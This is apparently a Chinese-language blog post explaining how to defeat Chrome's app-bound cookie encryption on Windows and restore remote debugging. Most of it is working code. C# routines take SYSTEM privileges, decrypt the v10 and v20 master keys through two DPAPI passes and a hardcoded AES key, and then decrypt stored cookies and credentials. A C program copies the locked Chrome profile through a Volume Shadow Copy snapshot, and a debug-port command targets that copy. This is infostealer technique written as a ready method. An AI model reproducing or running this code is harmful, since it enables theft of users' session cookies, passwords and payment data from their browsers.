Chrome cookie v20 解密及调试问题

前言:最近发现Chrome无法解密以及无法调试,这边重新研究下具体是什么情况,然后简单做个记录

参考文章:https://www.elastic.co/security-labs/katz-and-mouse-game?s=09
参考文章:https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
参考文章:https://github.com/runassu/chrome_v20_decryption
参考文章:https://source.chromium.org/chromium/chromium/src/+/main:chrome/elevation_service/elevator.cc
参考文章:https://github.com/SilentDev33/ChromeAppBound-key-injection
参考文章:https://github.com/qwqdanchun/Pillager/blob/main/Pillager/Helper/LockedFile.cs
参考文章:https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/blob/main/docs/RESEARCH.md
参考文章:https://www.cnblogs.com/zpchcbd/p/18991310

Chrome v127 解密流程

最一开始的时候,Windows 上基于 Chromium 的浏览器一直依赖数据保护 API (DPAPI)来保护本地存储的敏感用户数据,例如 Cookie、密码、支付信息等。DPAPI 将数据与登录用户的凭据绑定,从而为抵御离线攻击(例如硬盘被盗)以及同一台计算机上其他用户的未经授权访问提供了坚实的保障。然而,DPAPI 的致命弱点始终在于其在用户自身会话中的放任性,任何以与 Chrome 相同的用户身份运行且拥有相同权限级别的应用程序都可以调用CryptUnprotectData并解密这些数据。该漏洞一直是信息窃取恶意软件的惯用伎俩。

随着 2024 年 7 月 Chrome 127 版本的发布,Google实现了浏览器数据的应用程序绑定加密。该机制直接解决了许多针对 Windows Chrome 浏览器数据(包括 Cookie)的常见 DPAPI 攻击。它通过将数据存储在加密的数据文件中,并使用以 SYSTEM 权限运行的服务来验证任何解密尝试是否来自 Chrome 进程,然后将密钥返回给该进程以解密存储的数据。

获取v10和v20版本的密钥

通过Local State文件获取encrypted_keyapp_bound_encrypted_key

Chromium.cs

public static MasterKey GetChromiumMasterKey(string dirPath)
{
    string filePath = Path.Combine(dirPath, "Local State");
    if (!File.Exists(filePath))
        return new MasterKey();

    string content = File.ReadAllText(filePath);
    byte[] masterKeyV10 = null, masterKeyV20 = null;

    if (!string.IsNullOrEmpty(content))
    {
        // 解密v10和v20版本的密钥
        masterKeyV10 = DecryptKey(content, "\"encrypted_key\":\"(.*?)\"", 5);
        masterKeyV20 = DecryptKey(content, "\"app_bound_encrypted_key\":\"(.*?)\"", 4, true);
    }

    return new MasterKey
    {
        MasterKey_v10 = masterKeyV10,
        MasterKey_v20 = masterKeyV20,
    };
}

解密v10和v20版本的密钥

根据encrypted_key和app_bound_encrypted_key的特征来进行进行解密操作

v10的话则解密encrypted_key

v20的话则解密app_bound_encrypted_key

        private static byte[] DecryptKey(string content, string pattern, int skipBytes, bool isV20 = false)
        {
            var match = FindEncryptedKey(content, pattern);
            if (match.Count > 0)
            {
                try
                {
                    byte[] key = Convert.FromBase64String(match[0]);
                    key = key.Skip(skipBytes).ToArray();
                    return isV20 ? DecryptV20Key(key) : DPAPIDecrypt(key);
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[-] Error DecryptKey: " + ex.Message);
                }
            }
            return null;
        }

解密v10密钥

        private static byte[] DPAPIDecrypt(byte[] encryptedBytes)
        {
            DATA_BLOB inputBlob = new DATA_BLOB();
            DATA_BLOB outputBlob = new DATA_BLOB();

            inputBlob.pbData = Marshal.AllocHGlobal(encryptedBytes.Length);
            inputBlob.cbData = encryptedBytes.Length;
            Marshal.Copy(encryptedBytes, 0, inputBlob.pbData, encryptedBytes.Length);

            try
            {
                if (CryptUnprotectData(ref inputBlob, null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 0, ref outputBlob))
                {
                    byte[] decryptedBytes = new byte[outputBlob.cbData];
                    Marshal.Copy(outputBlob.pbData, decryptedBytes, 0, outputBlob.cbData);
                    return decryptedBytes;
                }
                else
                {
                    return null;
                }
            }
            finally
            {
                Marshal.FreeHGlobal(inputBlob.pbData);
                Marshal.FreeHGlobal(outputBlob.pbData);
            }
        }

解密v20密钥

  • DoubleStepDPAPIDecrypt调用,总共进行两次不同权限的DPAPIDecrypt解密操作,如下图所示
    • 首先通过GetSystemPrivileges提升权限来调用DPAPIDecrypt进行解密操作
    • 接着降权,通过当前用户权限来调用DPAPIDecrypt来进行解密操作
        private static byte[] DecryptV20Key(byte[] key)
        {
            byte[] decryptedKey = DoubleStepDPAPIDecrypt(key);
            if (decryptedKey != null && decryptedKey.Length > 0)
            {
                decryptedKey = decryptedKey.Skip(decryptedKey.Length - 61).ToArray();
                byte[] iv = decryptedKey.Skip(1).Take(12).ToArray();
                byte[] ciphertext = decryptedKey.Skip(13).ToArray();
                byte[] tag = decryptedKey.Skip(45).ToArray();

                byte[] aesKey = {
                    0xB3, 0x1C, 0x6E, 0x24, 0x1A, 0xC8, 0x46, 0x72, 0x8D, 0xA9, 0xC1, 0xFA, 0xC4, 0x93, 0x66, 0x51,
                    0xCF, 0xFB, 0x94, 0x4D, 0x14, 0x3A, 0xB8, 0x16, 0x27, 0x6B, 0xCC, 0x6D, 0xA0, 0x28, 0x47, 0x87
                };

                try
                {
                    AesGcm aes = new AesGcm();
                    byte[] encryptedData = new byte[ciphertext.Length - tag.Length];
                    Array.Copy(ciphertext, 0, encryptedData, 0, encryptedData.Length);
                    return aes.Decrypt(aesKey, iv, null, encryptedData, tag);
                }
                catch (Exception)
                {
                    return decryptedKey.Skip(decryptedKey.Length - 32).ToArray();
                }
            }
            return null;
        }

        private static byte[] DoubleStepDPAPIDecrypt(byte[] encryptedData)
        {
            if (!Win32.GetSystemPrivileges())
            {
                return null;
            }
            byte[] intermediateData = DPAPIDecrypt(encryptedData);

            Win32.RevertToSelf();

            if (intermediateData.Length > 0)
            {
                var encryptedKey = DPAPIDecrypt(intermediateData);
                return encryptedKey;
            }
            else
            {
                Console.WriteLine("[-] First step decryption failed.");
                return null;
            }
        }

解密凭证

       private static byte[] DecryptData(byte[] buffer)
        {
            if (buffer == null || buffer.Length == 0 || (masterKeyV10 == null && masterKeyV20 == null))
                return null;

            try
            {
                string bufferString = Encoding.UTF8.GetString(buffer);

                if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11") || bufferString.StartsWith("v20"))
                {
                    byte[] masterKey = bufferString.StartsWith("v20") ? masterKeyV20 : masterKeyV10;
                    if (masterKey == null)
                        return null;

                    if (buffer.Length < 15) 
                        return null;

                    byte[] iv = buffer.Skip(3).Take(12).ToArray();
                    byte[] cipherText = buffer.Skip(15).ToArray();
                    
                    if (cipherText.Length < 16) 
                        return null;

                    byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray();
                    byte[] data = cipherText.Take(cipherText.Length - 16).ToArray();

                    if (data.Length == 0)
                        return null;

                    try
                    {
                        byte[] decryptedData = new AesGcm().Decrypt(masterKey, iv, null, data, tag);
                        return bufferString.StartsWith("v20") ? decryptedData.Skip(32).ToArray() : decryptedData;
                    }
                    catch
                    {
                        return null;
                    }
                }
                else
                {
                    try
                    {
                        return ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser);
                    }
                    catch
                    {
                        return null;
                    }
                }
            }
            catch (Exception ex)
            {
                Logger.WriteLine($"[-] DecryptData error: {ex.Message}");
                return null;
            }
        }

v10

v20

调试

手动解决方案:复制一份user data目录到其他目录中 然后参数加上--remote-debugging-port=9226 --user-data-dir="C:\Users\Public\User Data"

手动直接复制会出现占用问题,如下图所示

Cookies
Cookies-journal
Safe Browsing Cookies
Session_xxxx
Tabs_xxxxx

通过代码解决,这边给出简单的实现案例

 
#include <stdio.h>
#include <stdlib.h>
#include <vss.h>
 
#pragma comment(lib, "vssapi.lib")
#pragma comment(lib, "ole32.lib")
 
typedef struct IVssBackupComponents IVssBackupComponents;
HRESULT(WINAPI* func_CreateVssBackupComponents)(IVssBackupComponents** ppBackup);
void (WINAPI *func_VssFreeSnapshotProperties)(VSS_SNAPSHOT_PROP *pProp);
 
typedef struct IVssBackupComponentsVTable IVssBackupComponentsVTable;
 
typedef struct IVssBackupComponentsVTable {
    void* QueryInterface;
    void* AddRef;
    ULONG(WINAPI* Release)(IVssBackupComponents* this);
    void* GetWriterComponentsCount;
    void* GetWriterComponents;
    HRESULT(WINAPI* InitializeForBackup)(IVssBackupComponents* this, BSTR bstrXML);
    HRESULT(WINAPI* SetBackupState)(IVssBackupComponents* this, BOOLEAN bSelectComponents, BOOLEAN bBackupBootableSystemState, VSS_BACKUP_TYPE backupType, BOOLEAN bPartialFileSupport);
    void* InitializeForRestore;
    void* SetRestoreState;
    HRESULT(WINAPI* GatherWriterMetadata)(IVssBackupComponents* this, IVssAsync** ppAsync);
    void* GetWriterMetadataCount;
    void* GetWriterMetadata;
    void* FreeWriterMetadata;
    void* AddComponent;
    HRESULT(WINAPI* PrepareForBackup)(IVssBackupComponents* this, IVssAsync** ppAsync);
    void* AbortBackup;
    void* GatherWriterStatus;
    void* GetWriterStatusCount;
    void* FreeWriterStatus;
    void* GetWriterStatus;
    void* SetBackupSucceeded;
    void* SetBackupOptions;
    void* SetSelectedForRestore;
    void* SetRestoreOptions;
    void* SetAdditionalRestores;
    void* SetPreviousBackupStamp;
    void* SaveAsXML;
    void* BackupComplete;
    void* AddAlternativeLocationMapping;
    void* AddRestoreSubcomponent;
    void* SetFileRestoreStatus;
    void* AddNewTarget;
    void* SetRangesFilePath;
    void* PreRestore;
    void* PostRestore;
    HRESULT(WINAPI* SetContext)(IVssBackupComponents* this, LONG lContext);
    HRESULT(WINAPI* StartSnapshotSet)(IVssBackupComponents* this, VSS_ID* pSnapshotSetId);
    HRESULT(WINAPI* AddToSnapshotSet)(IVssBackupComponents* this, VSS_PWSZ pwszVolumeName, VSS_ID ProviderId, VSS_ID* pidSnapshot);
    HRESULT(WINAPI* DoSnapshotSet)(IVssBackupComponents* this, IVssAsync** ppAsync);
    void* DeleteSnapshots;
    void* ImportSnapshots;
    /*void *RemountReadWrite;*/	/* Old API only  */
    void* BreakSnapshotSet;
    HRESULT(WINAPI* GetSnapshotProperties)(IVssBackupComponents* this, VSS_ID SnapshotId, VSS_SNAPSHOT_PROP* pprop);
    void* Query;
    void* IsVolumeSupported;
    void* DisableWriterClasses;
    void* EnableWriterClasses;
    void* DisableWriterInstances;
    void* ExposeSnapshot;
    void* RevertToSnapshot;
    void* QueryRevertStatus;
} IVssBackupComponentsVtbl;
 
struct IVssBackupComponents {
    CONST_VTBL IVssBackupComponentsVTable* lpVtbl;
};
 
/* Call a method, assuming its signature is identical in the old and new APIs */
#define CALL_METHOD(obj, method, result, ...)                     \
    do {                                                          \
        *(result) = (obj)->lpVtbl->method((obj), ##__VA_ARGS__);     \
    } while (0)
 
 
HRESULT wait_and_release(IVssAsync* async)
{
	HRESULT res;
    res = async->lpVtbl->Wait(async, INFINITE);
	async->lpVtbl->Release(async);
	return res;
}
 
BOOL request_vss_snapshot(IVssBackupComponents* vss, IVssAsync* async, wchar_t* volume, VSS_ID* snapshot_id)
{
	HRESULT hr;
 
	CALL_METHOD(vss, InitializeForBackup, &hr, NULL);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.InitializeForBackup() error: %x\n", hr);
		return FALSE;
	}
	
	printf("[+] IVssBackupComponents.InitializeForBackup() success\n");
 
	CALL_METHOD(vss, SetBackupState, &hr, FALSE, TRUE, VSS_BT_COPY, FALSE);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.SetBackupState() error: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssBackupComponents.SetBackupState() success\n");
 
 
	CALL_METHOD(vss, StartSnapshotSet, &hr, snapshot_id);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.StartSnapshotSet() error: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssBackupComponents.StartSnapshotSet() success\n");
 
 
	CALL_METHOD(vss, AddToSnapshotSet, &hr, volume, (GUID) { 0 }, snapshot_id);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.AddToSnapshotSet() error: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssBackupComponents.AddToSnapshotSet() success\n");
 
	CALL_METHOD(vss, PrepareForBackup, &hr, &async);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.PrepareForBackup() error: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssBackupComponents.PrepareForBackup() success\n");
 
	hr = wait_and_release(async);
	if (FAILED(hr)) {
		printf("[-] IVssAsync.Wait() error while preparing for backup: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssAsync.Wait() success\n");
 
	CALL_METHOD(vss, DoSnapshotSet, &hr, &async);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.DoSnapshotSet() error: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssBackupComponents.DoSnapshotSet() success\n");
 
	hr = wait_and_release(async);
	if (FAILED(hr)) {
		printf("[-] IVssAsync.Wait() error while doing snapshot set: %x\n", hr);
		return FALSE;
	}
 
	printf("[+] IVssAsync.Wait() success\n");
 
    return TRUE;
}
 
// 创建符号链接目录
BOOL CreateSymbolicLinkDir(const wchar_t* symlinkPath, const wchar_t* targetPath)
{
    if (CreateSymbolicLinkW(symlinkPath, targetPath, SYMBOLIC_LINK_FLAG_DIRECTORY))
    {
        wprintf(L"[+] Symbolic link created successfully: %s -> %s\n", symlinkPath, targetPath);
        return TRUE;
    }
    else
    {
        DWORD error = GetLastError();
        wprintf(L"[-] Failed to create symbolic link, error code: %lu\n", error);
        return FALSE;
    }
}
 
// 递归复制目录(类似于 xcopy /s /e /i /h)
BOOL CopyDirectory(const wchar_t* sourcePath, const wchar_t* destPath)
{
    wchar_t srcPattern[MAX_PATH];
    WIN32_FIND_DATAW findData;
    HANDLE hFind;
    BOOL result = TRUE;
 
    // 构造搜索模式
    swprintf(srcPattern, MAX_PATH, L"%s\\*", sourcePath);
 
    hFind = FindFirstFileW(srcPattern, &findData);
    if (hFind == INVALID_HANDLE_VALUE)
    {
        wprintf(L"[-] Failed to find files: %s\n", sourcePath);
        return FALSE;
    }
 
    // 创建目标目录
    CreateDirectoryW(destPath, NULL);
 
    do
    {
        const wchar_t* name = findData.cFileName;
 
        if (wcscmp(name, L".") == 0 || wcscmp(name, L"..") == 0)
            continue;
 
        wchar_t srcFile[MAX_PATH];
        wchar_t dstFile[MAX_PATH];
        swprintf(srcFile, MAX_PATH, L"%s\\%s", sourcePath, name);
        swprintf(dstFile, MAX_PATH, L"%s\\%s", destPath, name);
 
        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
            // 递归复制子目录
            if (!CopyDirectory(srcFile, dstFile))
                result = FALSE;
        }
        else
        {
            // 复制文件
            if (!CopyFileW(srcFile, dstFile, FALSE))
            {
                wprintf(L"[-] Failed to copy file: %s\n", srcFile);
                result = FALSE;
            }
            else
            {
                wprintf(L"[+] Copied: %s\n", srcFile);
            }
        }
 
    } while (FindNextFileW(hFind, &findData));
 
    FindClose(hFind);
    return result;
}
 
// 删除符号链接目录
BOOL DeleteSymbolicLinkDir(const wchar_t* symlinkPath)
{
    if (RemoveDirectoryW(symlinkPath))
    {
        wprintf(L"[+] Symbolic link deleted: %s\n", symlinkPath);
        return TRUE;
    }
    else
    {
        DWORD error = GetLastError();
        wprintf(L"[-] Failed to delete symbolic link, error code: %lu\n", error);
        return FALSE;
    }
}
 
 
int main() {
    HRESULT hr;
 
    // 构造初始化变量
    IVssBackupComponents* pBackup = NULL;
    IVssAsync* pAsync = NULL;
	VSS_ID snapshot_id;
 
    // 构造符号链接路径和目标
    WCHAR wszVolumes[2048] = L"C:\\";
    WCHAR symlinkPath[MAX_PATH] = L"C:\\vss_symlink";
    WCHAR copySource[MAX_PATH*2];
    WCHAR copyDest[MAX_PATH*2] = L"C:\\ChromeUserDataBackup";
    
    HANDLE hVssapi = LoadLibraryW(L"VssApi.dll");
    if (!hVssapi) {
        printf("vssapi.dll not found\n");
        return -1;
    }
 
    func_CreateVssBackupComponents = (void*)GetProcAddress(hVssapi, "CreateVssBackupComponentsInternal");
    hr = (*func_CreateVssBackupComponents)(&pBackup);
    if (FAILED(hr)) {
        printf("[-] CreateVssBackupComponentsInternal error: %x\n", hr);
        FreeLibrary(hVssapi);
        return -1;
    }else {
        printf("[+] CreateVssBackupComponentsInternal success\n");
    }
 
    func_VssFreeSnapshotProperties = (void *)GetProcAddress(hVssapi, "VssFreeSnapshotPropertiesInternal");
    if (!func_VssFreeSnapshotProperties) {
        FreeLibrary(hVssapi);
        return -1;
    }else {
        printf("[+] VssFreeSnapshotPropertiesInternal success\n");
    }
 
    CoInitialize(NULL);
 
    // in main func
	if (!request_vss_snapshot(pBackup, pAsync, wszVolumes, &snapshot_id) ){
		return -1;
	}
 
    // 获取快照信息
    VSS_SNAPSHOT_PROP snapProp;
    hr = pBackup->lpVtbl->GetSnapshotProperties(pBackup, snapshot_id, &snapProp);
    if (FAILED(hr)) {
        printf("[-] GetSnapshotProperties error: %x\n", hr);
        return -1;
    }
    
    LPCWSTR snapshotDeviceObject = snapProp.m_pwszSnapshotDeviceObject;
 
    // 构造源目录路径
    swprintf(copySource, MAX_PATH * 2, L"%s\\Users\\join\\AppData\\Local\\Google\\Chrome\\User Data", symlinkPath);
 
    // 创建符号链接目录(解决文件锁定问题)
    if (!CreateSymbolicLinkDir(symlinkPath, snapshotDeviceObject))
    {
        wprintf(L"[-] Create symbolic link failed, cannot continue.\n");
        return -1;
    }
    else
    {
        wprintf(L"[+] Create symbolic link success.\n");
    }
 
    // 递归复制目录
    if (!CopyDirectory(copySource, copyDest))
    {
        wprintf(L"[-] Directory copy failed.\n");
    }
    else
    {
        wprintf(L"[+] Directory copy success.\n");
    }
    
    // 删除符号链接目录
    if (!DeleteSymbolicLinkDir(symlinkPath))
    {
        wprintf(L"[-] Delete symbolic link failed, please clean manually: %s\n", symlinkPath);
    }
    else
    {
        wprintf(L"[+] Delete symbolic link success: %s\n", symlinkPath);
    }
 
    // 释放VSS资源
    func_VssFreeSnapshotProperties(&snapProp);
    if (pAsync) pAsync->lpVtbl->Release(pAsync);
    if (pBackup) pBackup->lpVtbl->Release(pBackup);
 
    // 清理资源
    CoUninitialize();
    FreeLibrary(hVssapi);
    return 0;
}

image

接着指定一个新的userdata目录,如下图所示

image

再次查看监听端口的时候,此时可以看到本地的调试端口已经开放了,如下图所示

image

posted @ 2025-05-05 23:51  zpchcbd  阅读(1045)  评论(0)    收藏  举报